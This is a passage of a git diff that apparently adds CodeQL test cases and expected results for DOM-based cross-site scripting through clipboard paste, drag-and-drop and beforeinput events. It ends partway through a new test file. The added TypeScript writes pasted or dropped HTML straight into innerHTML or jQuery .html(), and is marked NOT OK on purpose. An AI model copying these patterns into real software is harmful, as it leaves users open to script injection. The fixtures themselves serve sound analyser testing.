+| dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
@@ -1134,6 +1194,30 @@ edges
 | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') |
 | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
 | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name |
 | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() |
 | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() |
@@ -1323,6 +1407,33 @@ edges
 | dates.js:61:42:61:86 | dayjs.s ... (taint) | dates.js:61:31:61:88 | `Time i ... aint)}` |
 | dates.js:61:81:61:85 | taint | dates.js:61:42:61:86 | dayjs.s ... (taint) |
 | dates.js:61:81:61:85 | taint | dates.js:61:42:61:86 | dayjs.s ... (taint) |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
@@ -2067,6 +2178,9 @@ edges
 | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:24:23:24:58 | e.clipb ... /html') | user-provided value |
 | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:29:19:29:54 | e.clipb ... /html') | user-provided value |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | clipboard.ts:33:19:33:68 | e.origi ... /html') | user-provided value |
+| clipboard.ts:50:29:50:32 | html | clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:43:22:43:55 | clipboa ... /html') | user-provided value |
+| clipboard.ts:73:29:73:39 | droppedHtml | clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | clipboard.ts:71:27:71:62 | e.clipb ... /html') | user-provided value |
+| clipboard.ts:99:23:99:26 | html | clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:99:23:99:26 | html | Cross-site scripting vulnerability due to $@. | clipboard.ts:98:22:98:54 | dataTra ... /html') | user-provided value |
 | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name | Cross-site scripting vulnerability due to $@. | custom-element.js:5:26:5:36 | window.name | user-provided value |
 | d3.js:11:15:11:24 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
 | d3.js:12:20:12:29 | getTaint() | d3.js:4:12:4:22 | window.name | d3.js:12:20:12:29 | getTaint() | Cross-site scripting vulnerability due to $@. | d3.js:4:12:4:22 | window.name | user-provided value |
@@ -2088,6 +2202,12 @@ edges
 | dates.js:57:31:57:101 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:57:31:57:101 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
 | dates.js:59:31:59:87 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:59:31:59:87 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
 | dates.js:61:31:61:88 | `Time i ... aint)}` | dates.js:54:36:54:55 | window.location.hash | dates.js:61:31:61:88 | `Time i ... aint)}` | Cross-site scripting vulnerability due to $@. | dates.js:54:36:54:55 | window.location.hash | user-provided value |
+| dragAndDrop.ts:15:25:15:28 | html | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:15:25:15:28 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | user-provided value |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | user-provided value |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | user-provided value |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | user-provided value |
+| dragAndDrop.ts:50:29:50:32 | html | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:50:29:50:32 | html | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | user-provided value |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value |
 | express.js:7:15:7:33 | req.param("wobble") | express.js:7:15:7:33 | req.param("wobble") | express.js:7:15:7:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:7:15:7:33 | req.param("wobble") | user-provided value |
 | jquery.js:7:5:7:34 | "<div i ... + "\\">" | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "<div i ... + "\\">" | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
index 3c0700c9fce..e72df859347 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
@@ -136,6 +136,30 @@ nodes
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
+| clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:99:23:99:26 | html |
 | custom-element.js:5:26:5:36 | window.name |
 | custom-element.js:5:26:5:36 | window.name |
 | custom-element.js:5:26:5:36 | window.name |
@@ -299,6 +323,42 @@ nodes
 | dates.js:61:42:61:86 | dayjs.s ... (taint) |
 | dates.js:61:81:61:85 | taint |
 | dates.js:61:81:61:85 | taint |
+| dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
@@ -1184,6 +1244,30 @@ edges
 | clipboard.ts:24:23:24:58 | e.clipb ... /html') | clipboard.ts:24:23:24:58 | e.clipb ... /html') |
 | clipboard.ts:29:19:29:54 | e.clipb ... /html') | clipboard.ts:29:19:29:54 | e.clipb ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') | clipboard.ts:33:19:33:68 | e.origi ... /html') |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:15:43:55 | html | clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml | clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:15:98:54 | html | clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | clipboard.ts:98:15:98:54 | html |
 | custom-element.js:5:26:5:36 | window.name | custom-element.js:5:26:5:36 | window.name |
 | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() |
 | d3.js:4:12:4:22 | window.name | d3.js:11:15:11:24 | getTaint() |
@@ -1373,6 +1457,33 @@ edges
 | dates.js:61:42:61:86 | dayjs.s ... (taint) | dates.js:61:31:61:88 | `Time i ... aint)}` |
 | dates.js:61:81:61:85 | taint | dates.js:61:42:61:86 | dayjs.s ... (taint) |
 | dates.js:61:81:61:85 | taint | dates.js:61:42:61:86 | dayjs.s ... (taint) |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:11:8:50 | html | dragAndDrop.ts:15:25:15:28 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | dragAndDrop.ts:8:11:8:50 | html |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | dragAndDrop.ts:33:19:33:67 | e.origi ... /html') |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:15:43:54 | html | dragAndDrop.ts:50:29:50:32 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | dragAndDrop.ts:43:15:43:54 | html |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | dragAndDrop.ts:73:29:73:39 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
index fbb1dcfe01d..97d21371d08 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
@@ -14,4 +14,17 @@ function test() {
     }
 
     window.addEventListener("message", foo.bind(null, {data: 'items'}));
+
+    window.onmessage = e => {
+        if (e.origin !== "https://foobar.com") {
+            return;
+        }
+        document.write(e.data); // OK - there is an origin check
+    }
+
+    window.onmessage = e => {
+        if (mySet.includes(e.origin)) {
+            document.write(e.data); // OK - there is an origin check
+        }
+    }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
index 93eab788d06..b87d5a43bee 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
@@ -31,4 +31,71 @@ document.addEventListener('paste', (e) => {
 
 $("#foo").bind('paste', (e) => {
     $("#id").html(e.originalEvent.clipboardData.getData('text/html')); // NOT OK
-});
\ No newline at end of file
+});
+
+(function () {
+    let div = document.createElement("div");
+    div.onpaste = function (e: ClipboardEvent) {
+        const { clipboardData } = e;
+        if (!clipboardData) return;
+
+        const text = clipboardData.getData('text/plain');
+        const html = clipboardData.getData('text/html');
+        if (!text && !html) return;
+
+        e.preventDefault();
+
+        const div = document.createElement('div');
+        if (html) {
+            div.innerHTML = html; // NOT OK
+        } else {
+            div.textContent = text;
+        }
+        document.body.append(div);
+    }
+})();
+
+async function getClipboardData(e: ClipboardEvent): Promise<Array<File | string>> {
+    // Using a set to filter out duplicates. For some reason, dropping URLs duplicates them 3 times (for me)
+    const dropItems = new Set<File | string>();
+  
+    // First get all files in the drop event
+    if (e.clipboardData.files.length > 0) {
+      // tslint:disable-next-line: prefer-for-of
+      for (let i = 0; i < e.clipboardData.files.length; i++) {
+        const file = e.clipboardData.files[i];
+      }
+    }
+  
+    if (e.clipboardData.types.includes('text/html')) {
+      const droppedHtml = e.clipboardData.getData('text/html');
+      const container = document.createElement('html');
+      container.innerHTML = droppedHtml;
+      const imgs = container.getElementsByTagName('img');
+      if (imgs.length === 1) {
+        const src = imgs[0].src;
+        dropItems.add(src);
+      }
+    } else if (e.clipboardData.types.includes('text/plain')) {
+      const plainText = e.clipboardData.getData('text/plain');
+      // Check if text is an URL
+      if (/^https?:\/\//i.test(plainText)) {
+        dropItems.add(plainText);
+      }
+    }
+  
+    const imageItems = Array.from(dropItems);
+    return imageItems;
+  }
+
+// inputevent
+(function () {
+    let div = document.createElement("div");
+    div.addEventListener("beforeinput", function (e: InputEvent) {
+        const { data, inputType, isComposing, dataTransfer } = e;
+        if (!dataTransfer) return;
+
+        const html = dataTransfer.getData('text/html');
+        $("#id").html(html); // NOT OK
+    });
+})();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts
new file mode 100644
index 00000000000..487e51c8f8a
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts
@@ -0,0 +1,89 @@
+$("#foo").on("drop", drop);
+
+function drop(e) {
+    const { dataTransfer } = e.originalEvent;
+    if (!dataTransfer) return;
+
+    const text = dataTransfer.getData('text/plain');
+    const html = dataTransfer.getData('text/html');
+    if (!text && !html) return;
+
+    e.preventDefault();
+
+    const div = document.createElement('div');
+    if (html) {
+        div.innerHTML = html; // NOT OK
+    } else {
+        div.textContent = text;
+    }
+    document.body.append(div);
+}
+
+export function install(el: HTMLElement): void {
+    el.addEventListener('drop', (e) => {
+        $("#id").html(e.dataTransfer.getData('text/html')); // NOT OK    
+    })
+}
+
+document.addEventListener('drop', (e) => {
